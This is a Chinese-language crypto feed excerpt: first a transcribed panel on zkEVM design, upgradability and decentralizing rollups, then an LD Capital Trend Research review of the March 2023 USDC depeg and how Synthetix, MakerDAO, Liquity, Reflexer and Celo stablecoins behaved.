我们情愿把系统构建的复杂性只放在解决zkEVM在Bytecode层面的兼容性，而不是同时构建一个编译器以及支持LLVM的后端，我们不希望在构建zkEVM之外还需要构建编译器。另一个考虑因素是，我们肯定关心开发者的体验。Layer2是为扩展EVM而建立的，目前的EVM已经因为大量Solidity代码和应用变得拥挤不堪。我们希望开发者能够无缝迁移到我们的系统，同时确保安全性。这也是为什么我们目前不打算在EVM当中增加更多花俏的功能。遵循这个标准可以使 Ethereum真正可扩展，同时保证在此基础上的系统最佳性能和及时交付。同时，我们也在以太坊官方推动各种开源实现，包括Type1和Type2的zkEVM，包括隐私和扩容等。我们从第一天开始就采用开源方式构建。我们非常关注Ethereum zkEVM的开发和演进，我们领导了其中一半的开发，我们是团队的一部分，因此我们确切地知道整个系统需要多长时间才能真正准备好。这就是为什么我们采取这种方法来准备产品和深入社区，然后考虑如何推动Ethereum的终极目标。 ?️ [Matt Finestone] 这是两个很好的答案，Taiko和Scroll的方案更靠近，我们也没有引入新的编译器。我喜欢Alex所说的，就是在区块链背景下安全的替代方案是什么？我认为我们都会同意，以太坊可能是黄金标准。我们按照黄皮书实施，重复使用以太坊而不是调整它的组件，即使是在EVM以外的以太坊组件、数据存储结构等方面，也是经过实践验证的。当然，这里始终有权衡。Alex谈到了十亿用户和超低成本以及保持价值的扩展性。我们可能会在证明成本上做出更高的牺牲，但我们坚持使用经过实战考验的EVM标准和以太坊标准。而对Ye Zhang所说的关于实用性和快速进入市场的一些考虑，我们也会做出了权衡。 在ZK的背景下，有一些方向不容易实现，例如一些哈希函数或一些数据存储结构。我们不去改变这些东西，因为我们不确定它们的效果会如何，比如把Merkel Patricia Tree改成了 Verkle Tree，即使这在以太坊的路线图上本身就存在。我们对经过试验和实战考验的组件更加自信，系统的复杂性不在于试图重新发明以太坊的EVM和其他组件，而是在于如果将ZK完全地部署兼容EVM。这将需要更长的时间来完成，我们需要比Scroll更长的时间来做一些权衡以实现可用性。在安全性上，我们的实现路径会更令人放心。 ?️ [Mikhail Komarov] 以太坊经过实战考验，让我们重用所有这些系统，减少新的假设。但还有几个安全问题，少有人真正考虑过，而我们的目标是解决它们。第一个问题，你必须信任编译器。还有另一个问题，就是如果你想实现完全的EVM兼容性，比如Type1的EVM兼容性，那么你就需要手动在电路中重新部署EVM的任何Opcode，通过找出作为电路的某个表达式，它在某个确定域上的形式会是怎样的，这是一个手动的过程，而且非常复杂，很容易出错。我们自己就做过这样的事情，而且搞砸了电路，因此我们知道这是糟糕的。为了不重复这些问题，也不让任何人犯这些错误，我们正在致力于通过允许人们通过使用已经经过实战测试的 EVM 实现编译电路，来消除这种安全假设，而不是通过手动重新实现所有的 OpCode。我们的目标是通过使用 LLVM 编译器来编译它，而不是手动重新实现，由此有了最小的安全假设。这是另一个需要消除的安全假设，我们将针对 zkEVM 进行解决。 ?️ [Brian R] 你可以在类似RiscV的系统上运行geth来解决Mikhail所说的问题。我们实际上刚刚添加了Go的支持。我们构建并设计了RiscZero VM，我们选择RiscV指令集的部分原因是因为它有形式化定义，而且非常轻巧。RiscV电路的安全范围有所规范，并且已经进行了大量工作来将形式化验证方法纳入证明某个实现过程符合RiscV规范。我们专注于保证这个简单系统中的密码学正确，然后在其上运行EVM确实有效。当然，这种方法会有性能损失。比如进行ERC20代币转移需要大约1分钟。 ?️ Q3：正如Alex刚刚提到的，对于系统的任何部分，升级或选择另一种解决方案都是可能的。那么，如何确保系统的可升级性，并且以非常安全的方式实现？ ?️ [Brian R] 是的，我认为在 ZK 中，可升级性是一个非常重要的话题。从我们的角度来看，在没有部署网络和背后有大量经济价值的情况下，我们花费了大量时间确保我们正在构建正确的技术堆栈抽象。我们可以切换哈希函数，切换有限域和证明系统，或者添加新的技术，例如 PLONK，到技术堆栈中。这也是我们选择 RiscV 作为主要支持的「指令集」的另一个原因，因为它本身就是一个非常清晰的抽象系统。因此，您可以随意更换任何东西。LLVM 显然具有非常类似的特征。 ?️ [Matt Finestone] 是的，升级是一个很大的话题，我们可以将其看作一个去信任化系统的问题。系统的部署实现可能会出现漏洞，用户就会面临风险，或者要信任构建该系统的人或一些参与者，他们可能会在趁虚而入等等。升级是一种在某些层面上找到安全和去信任化的平衡。当你对系统的信任度提高时，可以去除其中一些受信任的参与者。在这里，我们应该对一些受信任的参与者持有非常警惕的态度，因为我们做这些事情的目的是为了消除这些参与者。对于这些非常复杂的系统，最好在早期就可以介入。我认为，Alex和Matter Labs团队已经在这方面提供了一些很好的参考案例。他们有一个很好的安全委员会和时间延迟的机制。那么升级的正确节奏是什么？这是一个非常重要的问题，我不知道更多的用户是否会对完全去信任的系统感到安心，因为这样的系统往往非常复杂，引入了许多新的东西，或者是信任这些善意的参与者。这是一个非常关乎人性的问题，当然也有一些技术解决方案，比如多重证明可能是一个不错的选择。我认为，我们有可能从类似于Optimism的组件中重用一些设计。如果我们的有效性证明有问题，那么重用Optimistic Rollups的实现将更容易制定欺诈证明的系统，以使其适用于以太坊等效环境。你可以混合匹配欺诈证明和有效性证明，如果有任何异议，那么升级性或某种类型的治理方案可以覆盖它。 ?️ [Mikhail Komarov] 让我来说一下。我刚花了一些时间思考这个问题。我担心我没有理解问题，因为我想说哪里有升级问题？只需重建电路即可。那么，究竟是哪些升级问题呢？ ?️ [Ye Zhang] 从我们的角度来看，首先，肯定不能仅仅编译新电路，因为它会影响您的证明密钥、验证密钥和许多链上智能合约，所以肯定不能经常这样做。我们在考虑多重证明的方法，添加双重验证等机制。有多种方法可以解决这个问题，除了像Matt提到的，我们不考虑直接与Optimistic的欺诈证明相结合，因为这会让最终确认时间变得更长。我们正在探索一些其他方法，很快就会在以太坊研究中提出一些提案，关于如何增加一些额外的保证。例如，Justin Drake提出了使用Intel SGX（TEE环境）作为一些额外保证的方法，严格地增加了安全保证。此外，还可能存在一些其他的治理方式，我们认为安全委员会和时间延迟是不错的方式。我们也在思考这个问题。这是一个权衡，我相信大多数Rollups仍需要更长时间才能真正摆脱这种可升级性问题，因为升级系统是一件长期的事。我们正在认真关注和研究这个问题。 ?️ [Alex Gluchowski] 我可以给一些背景信息，为什么可升级性是一个重要的问题。打个比方，对于任何你电脑桌面上运行的某个程序，你只需下载新版本并安装，对吧？升级有什么问题？问题在于，在区块链的背景下，我们试图构建Trustless的系统，但在某些情况下，升级的需求可能会破坏这种信任。对于Layer1，没有这个问题。如果要升级以太坊，只需下载新的客户端，安装它，然后所有人协调分叉。然后我们安排一次分叉，定个日期，在某个区块号进行分叉，那么任何不喜欢此次升级的人都可以留在旧版本的旧分支上。这种可升级性路径是完全Trustless的。它不会让您依赖任何诚实的大多数或任何可信的参与者。 问题出现在Layer2的背景下。如果我们构建的是Rollup，Rollup依赖于Layer1的智能合约。这个智能合约可能是不可变的，其中某些特定电路的某些固定功能和验证密钥已经内置，那么问题就在于如果存在Bug，那么你将束手无策。那如果面临bug，或者如果想修复它该怎么做？ 我们在zkSync 1.0（zkSync Lite）披露了过一个漏洞，具有可升级性的时间锁定，因此团队可以提出新版本的升级提案。然后，如果用户不喜欢这个新的版本，所有用户都有几周的时间将资产从Layer1退出。我们有Trustless的机制来实现退出。但因为被迫进入了这个时间锁定，我们无法修复它，所以我们想出了一个折衷方案，并引入了我们称之为Security Council的方案，这是一个独立的委员会。我们邀请了一些来自不同社区、不同项目的以太坊社区的15名知名成员加入。 团队不控制合约，只能提出升级方案，Security Council来做出决定，可以决定加速升级。但这仍然不是最佳选择，因为理论上还是有一组人可以在此期间立即安装一个恶意版本。也许他们不想这样做，但也许他们会被某些参与者强迫，我们无法排除这种可能。因此，如果我们希望充分利用零知识证明，并且仅依赖数学和开源代码而不是任何验证程序的受信任方等，最终实现完全Trustless的机制。 我们目前在思考一个更好的方案，由团队提出时间锁定的升级提案，Security Council可以介入建议冻结智能合约，然后在Layer1上进行软分叉。因此，这需要与Layer1协调，这需要Layer2协议已经有一定规模足够重要，以使社区实际上进行分叉，安装新版本等。因为Layer1无法为每个小协议执行此操作，它必须是像以太坊上的系统级事物那样重要的协议。 这是我们目前拥有的增强无需信任的可升级方案的最佳机制，以便保护我们免受第一层严重漏洞的影响。但这还是会引入一些类似时效性的问题，如果出现这样的问题，协议将暂停一段时间，想象一下我们已经从Visa和PayPal切换到使用这种大型Rollups进行区块链支付，突然之间用户资产被冻结，没有人可以进行支付，需要我们协调升级几天，这是巨大的问题。我们当前没有更好的解决方案，也没有看到更好的解决方案。如果您有想法，请联系我们，让我们进一步探讨。 ?️ Q4：有一个关键词被多次提到，那就是“无需信任-Trustless”。正如我们所知，当前系统中最重要的组成部分仍然是中心化的。从中心化到去中心化的演变，我们将面临哪些安全挑战？ ?️ [Alex Gluchowski] 我认为这（Trustless）将增强安全性。这将为我们提供多一重因素的保护。首先，ZK Rollup必须为每个块提供有效性证明，但它可以存在问题，例如，也许我们忘记了某些约束条件。在此之上，我们还需要通过权益证明共识机制来提供签名，这是额外的一层保护。因为为了破坏系统，恶意攻击者必须首先找到漏洞，然后必须在伙同这个这些验证者中的大多数来一起作恶。 这个可能性是比较小的，因为攻击者要么已经是这个区块链上的控制方，要么必须购买大量代币，这给了我们足够的时间，可能其他人也会发现相同的漏洞，并提交Immunefi或其他地方，团队可以进行修复。或者，也许我们将同时运行一些蜜罐，这是完全开放的，任何人都可以破解并从中获得奖励。所以，总体来说，这为整个系统提供了两个因素的保护。而且，我们可以在此基础上添加更多因素。 到目前为止，我不会相信一个号称完全无需信任的ZK Rollup是安全的。对我来说，这将是极具风险的。我不会在这样的ZK Rollup上放置比我可承受失去的金额更大金额的资产。 我最喜欢举的例子是波音737 Max事件。这个事故的原因不是因为他们试图转移公众注意力的软件问题，而是因为他们依赖于飞机上的单个传感器，这是完全不负责任的行为。航空业已经有很长的发展历史，过程中有很多技术迭代，不能依赖单个系统是业界的共识。但因为他们在生产波音737 max的过程中因为各种原因（比如成本、交付时间等）牺牲了安全的系统设计，最终导致了事故。因此，我们始终希望至少有两个完全独立的安全因子，来降低故障的概率。 ?️ [Ye Zhang] 我们秉持着长期主义的理念来思考ZK Rollup的去中心化路线图。先去中心Sequencer还是Prover，甚至如何定义ZK Rollup的去中心化，我们都有自己的想法。我认为最终我们将同时去中心化Sequencer和Prover。但是我们有一些略微不同的优先排序，我们希望先将Prover去中心化。安全性绝对是重要原因之一。如果先将Sequencer去中心化，那在zkEVM变得非常成熟稳健之前，如果有人真的发现了一些漏洞并提交了虚假证明，它有一定概率会被Sequencer接受并出块，对系统造成破坏。 因此，我们会先保留中心化的Sequencer。因为zkEVM是有可能出现漏洞的，因为它是非常复杂的系统。因此，我们希望至少在早期阶段，我们控制中心化的排序，至少能保证正确有效的出块。 另一个先去中心化Prover的原因是，有许多硬件公司正在寻找如何使zkEVM更高效的方案。如果我们承诺去中心化Prover的这种方案，他们会参与优化系统的代码。我们都知道，ZK ASIC可能需要一年以上才能问世，如果我们首先进行Prover的去中心化，他们将更有动力为我们的系统进行构建，使系统变得更加高效。Sequencer的去中心化是我们后面计划要做的事情。 这里还要考虑一个更复杂的因素，如果将Prover和Sequencer分配到两个不同的群体，则需要非常小心地设计激励方案，例如分配到这两方的奖励的比例，如何能够做到足够合理且平衡两方的激励。 除此之外，我们还有一些其他的安全手段。例如，我们正在构建的方式是开源的，我们正在进行一些内部安全审计，而不仅仅是外部审计。我们拥有一个非常强大的安全团队。我们提供各种资金资助来鼓励更多人参与安全方案的构建，比如形式化验证等工具。我们团队还曾经在Consensys ZKEVM和Aztec的电路上找到过漏洞。我们正在尝试改善整个生态系统的安全性。 ?️[Matt Finestone] Taiko可能会更早地面临这种挑战。尽管大家都有一定程度的去中心化，但实际上我们也在计划和以太坊保持一样的方式，包括EVM、Gas时间表和状态树等，同时也考虑到Ethos和其他去中心化（我们称之为）Sequencer Proposer，以及Prover。在几个月前的第一个测试网中，约有2000独立个人或地址无需许可的Propose一个区块。尽管可能存在一些恶意区块，但这也是去中心化的承诺。我认为这不是渐进式的去中心化，或许是渐进式的效率提升，因为你必须放弃一些效率。Proposer可能会建立相同的区块，导致有些交易冗余，同时也付出了一些向Layer1支付了ETH的有价值的区块空间。有些人会得到退款，有的会直接跳过。 对我们来说，我们在下一个即将到来的测试网中立即实现去中心化不太现实。Permissionless provers在测试网环境中比较难，因为有女巫攻击，人们会让proposed block中充满垃圾信息，而Prover必须花费真正的计算资源证明它们，但却没有实际收入。因此，我们将使用Permissioned Proposer，让任何去中心化的Prover提交区块，并得到相应的奖励，这个很重要。另外，如果系统出现故障，一个Prover提交了有效性证明，同时也出现了一个不一致的证明被提交，那么智能合约就可以知道并且暂停。它会识别到为什么有两个正确的有效性证明在不同的块上？出现这种情况立即暂停，也就引发了时间延迟。如Alex所说，我们当前无法对完全无需许可、无需信任的实施感到放心，我们要努力实现平衡。 ?️ [Mikhail Komarov] 我们从一开始就考虑了这个问题。一些人最初的解决方案是自上而下的方法，例如决定创建Rollup，然后考虑去中心化的次序问题，比如先去中心化Sequencer。然后去中心化Prover，一环接一环。相比之下，我们采用了一种不同的方法，我们自下而上来解决问题。 我们首先建立了一个去中心化的Prover网络，来无需许可地汇集算力。然后我们试图在Prover网络的基础上添加Sequencer，因为Sequencer必须和Prover网络紧密结合，特别是与成熟的去中心化Prover网络。这里涉及到需要支付额外的证明费用，通信的复杂性等问题，所以Sequencer必须紧密结合Prover网络，以确保其有效性。我们所开发的系统可以作为ZK Rollup的底层基建。 为了确保所有的证明生成都有一个激励机制来加速完成，并提高质量和保持安全性，我们引入了证明市场（Proof market）来管理所有证明的生成和排序。同时，我们保持了这个系统的去中心化和无需许可性。这种方法是从底层解决问题，而不是从顶层解决问题。 ?️ [Brian R] 我认为我们采取的方法，与其他网络有很大的不同。类似于Nil团队正在建立的证明市场（Proof market），但是我们采用了一种更无需信任的方式。我们当前没有关注Sequencing的问题，而是关注在证明系统上，让它能够更加强健地进行各种运算。这种方法简化了很多复杂性，有利于尽快将最多的计算量投入市场。 我们希望降低开发人员的使用门槛，让他们在以太坊或任何系统上建立任何他们想要的应用程序，并拥有这个去中心化的基础计算层，用零知识证明来保证计算的正确性。 ?️ Q5. 观众：在Algorand中，出现了一种名为State Painting的技术。它的基本思想是从一个共识区块链中提取状态，并将其“Paint”到另一个共识区块链上。这种技术更像是一种跨链方案，同时运用到了零知识证明的方案。那在Layer2中，系统共识其实依赖于Layer1的共识，这样是否会降低Layer2的安全性？ ?️ [Alex Gluchowski] 在ZK Rollups的实施中，Layer1和Layer2的之间的资产流动是完全无需信任的，Layer2完全承接了Layer1的安全性。关于资产在Layer2之间的转移，如果你是通过以太坊Layer1的原生桥接，那么它也是完全无信任的。但是，如果没有通过Layer1，其安全性取决于通过哪种跨链方式实现桥接。 在zkSync中，我们正在实现一种被称为Hyperchain的方案。具体而言，我们将建立多个由相同电路驱动的链，这些链仍然通过以太坊上进行桥接。Hyperchain将提供免费的、完全无信任的、非常便宜的交易，可以从任何链到任何其他链。当我们谈论将数亿甚至数十亿的用户引入区块链时，这一点非常重要。 在未来，我们不可能让数以万亿的交易都运行在一个单一的系统或共识上。它们将不得不在许多不同的共识系统上运行，比如分片、独立的应用链等。但同时我们需要保证这些不同链之间的可连接和通信的低成本。 打个比方，就像我们今天使用不同系统的电子邮件，用户可以轻松地完成不同电子邮件系统之间的通信。这就是我们希望通过Hyperchain实现的东西。除了完美地承接Layer1的安全性，高效且无需信任的跨链通信，Hyperchain还可以通过递归证明来实现使用的超低成本。  ( 5 min )
    万字复盘USDC脱锚风波：DeFi生态巨震中的危与机
    原文：《「Trend Research by LD Capital」复盘USDC脱锚风波中的危与机》 本文将探讨在 USDC 脱锚危机中，受影响最大的借贷、交易类协议、去中心化稳定币系统的表现，以及潜在的交易机会。 USDC 是一种与美元挂钩的中心化稳定币，由 Circle 和 Coinbase 发行。2023 年 3 月 11 日，由于硅谷银行（SVB）申请破产，导致 Circle 在该银行的部分现金储备被冻结，引发市场对 USDC 的信任度下降，出现大规模挤兑和抛售。USDC 的价格从 1 美元跌至 0.878 美元，与其他稳定币如 DAI 和 BUSD 也出现了较大的价差。随后，在 3 月 13 日，由于美联储、财政部、FDIC 联合救市计划的出台市场恐慌逐渐消散，USDC 价格又回到了接近往常水平。 图：USDC 脱锚危机重要事件和稳定币赛道相关代币价格走势 来源：Trend Research，Tradingview 为了解决这一危机，Circle采取了以下措施： 在整个USDC脱锚过程中，引发了加密货币市场的恐慌和波动，影响投资者信心和交易活跃度。其中，中心化稳定币市场、去中心化稳定币、链上借贷、DEX 等赛道项目都遭遇了一定的风险：   对稳定币系统的影响和机会 Synthetix Synthetix 于 2018 年上线，早期为合成资产协议，后逐步转型为在以太坊和 Optimistic 上构建的去中心化流动性供应协议。 用户质押协议治理代币 SNX 可以生成稳定币 sUSD，sUSD 的规模目前约为 5500 万美元。SNX 铸造 sUSD 的抵押率是 400%，清算线则是 160%。这是一个比较高的抵押率，资金利用效率低。不得不如此的主要原因是考虑到 SNX 属于协议自身的治理代币，价格波动幅度较大，较高的抵押率可以应对市场极端风险，维持系统的稳定。 sUSD 通过套利机制维持价格锚定。sUSD 的铸造价格始终为 1 美元，当市场价格高于铸造价格时，套利者可以铸造新的 sUSD，按照市场价格卖出获利，市场供应增加，价格回落。当市场价格低于铸造价格时，套利者可以从市场买回 sUSD，然后销毁 sUSD，降低债务。 sUSD 的应用场景建立在 SNX 质押形成的“债务池”基础之上。债务池是 synthetix 独有的机制。所有质押 SNX 铸造 sUSD 的用户共用一个债务池。当用户铸造 sUSD 时，铸造出来的 sUSD 的数量占所有 sUSD 的数量就是用户在整个债务池的比例，所有被铸造的 sUSD 就是整个系统的债务。如果某用户的投资策略实现资产升值（如 sUSD 购买 sETH，sETH 价格上涨）就会导致其他用户的债务增加。 债务池可以提供流动性，零滑点，可充当交易对手方，为各类协议提供流动性服务，具有较好的可组合性。 在这个债务池的基础上，SNX 建立自己的生态。Synthetix 不直接提供任何前端，而是充当一些 DeFi 协议的后端流动性提供者。目前的生态包括 Curve、合约交易所 Kwenta、期权交易所 Lyra 等。 sUSD 有自身较为稳定的应用场景。近期，Kwenta 的交易数据和收入数据有较大幅度的增长。 在这次 USDC 的恐慌中，sUSD 的底层资产虽然没有 USDC，但是价格也受到了一定的影响。最低跌至 0.96 附近。不过，很快被套利者扳平回水。相关的恐慌性抛售主要受到情绪面主导，因为 Synthetix 系统并不对 USDC 具有直接的风险曝露，而且同期非 sUSD 类合成资产价格下跌其实会让 sUSD 铸造人的负债（爆仓风险）下降，所以 sUSD 比起其它资产负债表上大量 USDC 的稳定币项目来说，回锚的确定性更高。 图：sUSD 与 USDC 价格对比 来源：Trend Research，CMC 此外，此时理论上还在存在系统内套利机会，例如在二级市场上以 0.95 美元的价格购买 sUSD，在 Synthetix 系统中用 sUSD 兑换其他合成资产，比如 sETH，按照 1:1 的比率，在二级市场上以高于 0.95 美元的价格出售 sETH，在摩擦成本足够低的情况下可获得套利收益。 Synthetix 正在进行 V3 版本的修改。在 V3 中，将新增质押资产的种类，除了 SNX 之外，ETH 等其他加密代币也可以质押生成 sUSD。此前，sUSD 的规模受到 SNX 市值的限制，V3 版本实施后，将不再受限于此，sUSD 的可扩展性增强。随着流入 Optimistic 的资金增长，有望可以建立更为丰富的生态，获取更大的市场规模。 MakerDAO 是于 2014 年在以太坊上搭建的智能合约系统，采用 DAO（去中心化自治组织）的形式发行与美元保持 1:1 锚定的去中心化稳定币 DAI。 协议通过抵押多种类型的加密资产，并按照一定的抵押比率发行稳定币 DAI，本质上是一种无需信任的超额抵押借贷。当抵押品价值低于最低抵押比率（150%）的时候，用户的抵押品就有可能被清算（强制出售抵押品还 DAI），从而最大程度保证 Maker 系统不会出现债务缺口。 DAI 被设计的目标就是将加密货币的波动性降至最低，但是市场行为往往会导致 DAI 与初始设计的 1 美元价格偏离，因此，Maker 系统的主要目标就是维持 DAI的价格稳定。 Maker 系统调控 DAI 价格的手段之一就是调整稳定利率。因为稳定利率代表着用户借DAI所需支付的借款利率，通过增加或者降低借款利率从而影响用户的借贷行为。但是稳定利率的调整由 MKR 持有者通过投票更改，治理周期比较长，所以价格调控周期也会拉长。而且，DAI 面临的实际市场情况是，随着ETH的上涨，DAI 的需求会下降，而随着ETH的下跌，DAI的需求会上升，但是市场供应规则却是相反的。 因此，为了解决上述两个问题，Maker 设计了锚定稳定模块（PSM）。PSM 的首次实现是 USDC PSM，就是用户存入 USDC 可以 按照1:1 汇率兑出 DAI，交易费用只需0.1%。该模块是基于 DAI 固定价格的货币互换协议，类似具有一定额度的刚性兑付，可以为 DAI 的价格提供双边缓冲保护。 PSM 在很大程度上解决了 DAI 价格的稳定性问题，而且可以让 Maker 系统无需频繁地调控其借款利率，保证借款人借贷成本的可控性。PSM 的资金规模扩张十分迅速，导致 USDC成为 DAI 最大的抵押品来源。而恰恰也正是这丝滑的兑换机制，使得在这次恐慌事件中USDC 迅速向PSM 中倾销。目前USDC PSM 铸 DAI 额度已达到债务上限，其它波动性较大的资产（例如MATIC）发生比较大程度的赎回，因此USDC PSM产DAI的占比从40%上升至现在的62%。 图：MakerDAO锁定资产价值以及产生的 DAI 债务占比 来源：Trend Research，Daistas.com MakerDAO的DAI经历了多次市场危机，但主要类型分为两种： 2020年3月12日，以太坊的价格在一天之内暴跌了43%，导致许多使用以太坊等加密货币作为抵押品生成DAI的用户（称为Maker Vault）出现了严重的欠缺。这些欠缺的Vault被强制清算，其抵押品被拍卖出去以偿还债务和罚金。然而，由于市场恐慌、网络拥堵和系统故障等原因，部分拍卖出现了零出价的情况，即有人用0 DAI就赢得了大量的抵押品。这导致MakerDAO系统损失了约540万DAI，并且DAI的供应量大幅减少。 由于DAI的需求远远超过了供应，DAI与美元之间的锚定关系遭到破坏，DAI出现了高达10%左右的溢价，此时做空DAI等待其价格回归甚至进一步下探的风险收益比非常高。 即这次历史上首次USDC脱锚危机，对于DAI系统来说是一个巨大的风险，因为当前DAI有一半是由USDC作为抵押品生成的。如果USDC失去了锚定，那么DAI也会受到影响，导致其价格波动或者无法赎回。为了防止这种情况发生，MakerDAO社区通过了一系列紧急提案，将包括USDC在内的几个流动性池的债务上限降低到零DAI，意味着它们不能继续发行新的代币。 此外，在所谓的“稳定模块”（PSM）中暴露于USDC风险的部分，每日发行限额从9.5亿DAI降低到只有2.5亿DAI，同时把手续费从0 提升至1%。 USDC铸造DAI并非超额抵押，所以无法进行Vault 清算。如果USDC的价格低于1美元，那么使用USDC作为抵押品生成DAI的用户就会出现欠缺，即他们需要支付更多的DAI才能赎回他们的USDC。这样一来，他们就会面临损失或者无法退出的风险，并且整个系统有可能能瘫痪，所以有可能出现再次拍卖系统治理代币$MKR来弥补亏空的风险，这也是为什么危机期间$MKR价格一度重挫30%以上，但随后USDC危机解除后，$MKR价格快速反弹至危机之前的水平。 图：USDC 和 MKR 在脱锚危机期间价格变化 来源：Trend Research，Tradingview 除了 MKR 的价值修复的交易机会，DAI 本身价格也存在交易机会。因为 DAI 背后资产的综合抵押率在大部分时候高于 150%，所以 DAI 可以理解成加强版的USDC，其在价格低于USDC的时候，以及确认USDC风险消除之后，价格应该出现更快的反弹，下图可以看到在11号危机逐渐被市场消化之际，DAI的价格始终小幅高于USDC。 图：DAI 和 MKR 在脱锚危机期间价格变化 来源：Trend Research，Tradingview 另外值得注意的是，在本次危机中，稳定币铸造模块 PSM 大量涌入 9.5 亿 USDC，而未出风险的 GUSD 存款大幅流出，其它抵押物池子或多或少都有流出，显示出“劣币驱逐良币”的效应，如何应对类似结构性风险，值得更多关注和讨论。 Liquity 于2021年4月上线，是一个基于以太坊的去中心化稳定币借贷平台，用户可以且只能通过抵押ETH生成锚定美元的稳定币LUSD。Liquity不收取借款利息，只收取一次性的铸造费和赎回费，鼓励用户长期持有LUSD。Liquity由智能合约管理，协议部署后无法修改，不负责运行前端，用户交互需要通过第三方前端，具有强去中心化和抗审查的特点。 目前 $LUSD 发行量约为 243m，TVL $572m，ETH 质押数量 388k，总抵押率为 235.1%。 Liquity 的最低抵押率为 110%，低于 150% 时进入恢复模式，低于 110% 时触发清算。在恢复模式下，抵押率低于150%的金库也可能被清算，系统禁止进一步降低总抵押率的行为。恢复模式的目的是将系统的整体抵押率迅速提升至150%以上，以降低系统风险。 Liquity采取了分级清算机制以维持系统稳定。稳定池通过流动性挖矿激励用户存储LUSD，并在清算时销毁债务并获得ETH。当稳定池耗尽时，系统会进行债务再分配，将剩余待清算的债务和ETH按比例分配给其他金库持有者身上。 稳定池提供者和前端运营者可以获得治理代币LQTY奖励。LQTY代表了对协议收益（铸造费和赎回费）和治理权利（投票权）的索取权。 当LUSD价格低于1美元时，用户可以从市场上低价买入LUSD，然后赎回ETH并获利。当LUSD价格高于1美元时（例如1.1），用户可以抵押ETH铸造LUSD，然后在市场上高价卖出LUSD并获利。这样，LUSD的价格会在（1-赎回费， 1.1）之间波动，并趋向于1美元。这是LUSD的硬锚定机制。同时，由于用户可以随时以1美元的价格铸造和销毁LUSD，用户会形成一个心理预期（谢林点），认为1 LUSD = 1 USD。 图：LUSD的锚定机制 来源：Trend Research，Liquity 2021年5月19日，ETH 价格一度从 3400 美元迅速下跌至1800 美元，有超过300个地址被清算，Liquity启动了2次恢复模式，但因恢复太快（抵押率在跌破150%后迅速回归）导致dune数据没有捕捉到。期间总计93.5M LUSD债务被清算，同时48668个ETH分配给了稳定池的存款人，以上清算均由稳定池完成，稳定池的参与者相当于折价超底了ETH，以上过程并没有触发再分配模式，这一压力测试证明了Liquity模型的稳健。 图：Liquity系统抵押率变化TCR=Total Collateral Ratio 来源：Trend Research，Dune 在这次USDC的恐慌中，LUSD亦有出现波动，最低0.96，最高1.03，较短时间内被套利者扳平至正常回水。具体的，用户可以在二级市场上以0.96美元的价格购买LUSD，归还liquity系统中的LUSD借款以赎回抵押物ETH，由于此时liquity系统中lusd的定价始终保持1美元，用户可赎回的ETH资产价值大于二级市场购买的LUSD价值实现套利。 来源：Trend Research，Dune 市场出现危机的情况时LUSD的上涨的原因是，一部分用户为避免被清算需要偿还LUSD平仓，已有用户会有动机将LUSD存入stability pool希望以较低成本获得被清算的折价ETH，这两部分都构成了对LUSD的需求。此外从LUSD对USDC流动性池中慌忙出逃的USDC持有者也帮助被动拉升了LUSD价格。 USDC的恐慌当日由于价格波动产生套利机会，lusd mint与burn数量出现明显上升，新增mint数量21.98m，销毁burn数量11.22m，lusd supply净增加值约10m，约占当日lusd总供应量的4%，因此带来3月11日协议收入大幅上升，铸造过程获得37.7万lusd，赎回过程获得97.4个ETH，该部分收入全额归属于LQTY stakers，造成LQTY收益率短期大幅上升。同时观察到usdc恐慌提升了市场对强去中心化稳定币lusd的关注，lusd供应量和trove数量呈上升趋势，3月11日至16日共lusd总供应量增长约12%。 图：Lusd铸造销毁、协议保险收入、赎回收入 来源：Trend Research，Dune Reflexer Reflexer是一个超额抵押去中心化稳定币平台，用户可以用ETH抵押生成 RAI，一种不锚定任何法币或资产的稳定币。 RAI的赎回价格由市场供需和一个基于PID控制器的算法自动调节，以实现低波动性。用户超额抵押ETH生成RAI，付2%年利息，偿还RAI可以赎回ETH，清算线145%，但目前超额抵押率在300%-400%。Reflexer有三重清算机制来保障系统安全，并收取2%的稳定费作为盈余缓冲。FLX是Reflexer的治理代币，也是系统最后贷款人。 市场供需失衡时，Reflexer 会主动调整 RAI 赎回价格，通过激励用户套利引导市场价格回到赎回价格。RAI 系统采用一套基于 PID 控制（比例-积分-微分控制器）的机制，使用一系列参数来调整上述的控制过程。 当某用户的抵押品价值相对借出物价值低于某个阈值时，就会触发清算。清算人通过固定折扣拍卖获得被清算者的ETH抵押品，并替被清算者偿还RAI债务。当盈余缓冲不足够处理坏账时，协议会进入“债务拍卖”流程，系统增发 FLX，在市场上换取 RAI 完成债务处理。 Reflexer 收取的 2% 稳定费进行如下三种分配：Stability fee treasury 智能合约、FLX stakers 和 Buyback and burn。 RAI 的用例 即 reflexer 的赎回价格会根据市场对RAI的需求进行算法调整，当市场价格高于赎回价格时，用户会选择抵押 ETH 并借出 RAI，再到市场上卖出。 其他用例包括 Stacked funding rates；Yield aggregator- leverage positive/negative redemption rate（赎回利率为正时，可以去借贷协议上优化收益）以及Sophisicated arbers套利工具。 总的来说，Reflexer 拥有完全去中心化，最终走向无治理，抵押物不锚定法币机制较为稀缺，vitalik 有积极评论, 有以太坊社区支持等优点；同时缺少被动需求和用例，目前超额抵押率在300%-400%(357%)，资金效率低，代币价值捕获低,用于激励的代币不足（预留用于激励的FLX后续用来推广用例的激励可能不足）是Reflexer目前的缺陷。 本次危机中，Vitalik 铸造 RAI 购买力 USDC 和 USDT，似乎是对 ETH 做抵押的完全去中心化（非锚定法币）稳定币的一种认可，但由于没有固定锚定的价格， RAI 又是天生不稳定的“稳定币”，对 Reflexer 来说，RAI 目前依旧很难获得主流用户的使用。 另外，Vitalik 在今年 1 月对 Reflexer 的抵押机制提出了改善建议，他认为，ETH holder 需要更多激励在 Reflexer 平台上超额抵押 ETH 借出 RAI，因为质押 ETH 可以获得无风险的 5% 奖励，而在 Reflexer 获得的 redemption rate 的这部分套利浮动收益在没有超过 5% 很多的情况下，不具有很大的吸引力。但社区出于额外一层合约风险的考虑目前否定了使用质押ETH作为抵押物的建议。 Celo是一个主打移动端开源支付网络，其主网于2020年4月正式上线，网络结合了PoS共识机制、兼容EVM等特点，为用户构建了多种DeFi服务，同时还包括以稳定币作为汇款、跨境支付等交易媒介、支持多种代币支付Gas费、将电话号码映射到钱包地址以简化转账操作等。并且推出其链上稳定币CUSD、CEUR和CREAL。 